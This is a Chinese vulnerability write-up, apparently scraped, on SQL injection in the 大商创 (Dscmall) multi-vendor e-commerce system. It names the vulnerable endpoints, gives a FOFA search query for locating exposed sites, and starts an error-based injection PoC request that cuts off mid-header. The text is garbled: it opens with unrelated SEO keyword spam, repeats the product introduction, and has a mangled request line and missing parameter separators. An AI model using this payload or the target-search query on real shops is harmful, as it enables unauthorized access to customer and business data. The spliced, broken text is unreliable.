展示型网站制作公司,Windows wordpress搭建,大连建立网站公司,网站新闻更新怎么设计0x01 产品简介
大商创多用户商城系统是一个功能强大、灵活多变的新零售电商系统服务商。该系统支持平台自营和商家入驻，实现多元化经营模式，能够全面整合供应商、生产商、经销商和消费者等产业链资源，提高产品多样性，加快资金流动速度，并有助于减少不必要的成本输出。
0…0x01 产品简介
大商创多用户商城系统是一个功能强大、灵活多变的新零售电商系统服务商。该系统支持平台自营和商家入驻，实现多元化经营模式，能够全面整合供应商、生产商、经销商和消费者等产业链资源，提高产品多样性，加快资金流动速度，并有助于减少不必要的成本输出。
0x02 漏洞概述
大商创多用户商城系统ajax_dialog.php、wholesale_flow.php等接口处存在SQL注入漏洞，未经身份验证攻击者可通过输入恶意SQL代码，突破系统原本设定的访问规则，未经授权访问、修改或删除数据库中的各类敏感信息，包括但不限于员工个人资料、企业核心业务数据等。进一步利用可获取服务器权限。
0x03 复现环境
FOFA：body="dsc-choie" 0x04 漏洞复现
PoC-1
GETT /ajax_dialog.php?_=1600309513833act=getUserInfobrand_id=extractvalue(1,concat(0x7e,md5(123)))is_jsonp=1jsoncallback=jQuery19106489774159975068_1600309513832seckillid=nulltemp=backup_tpl_1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.
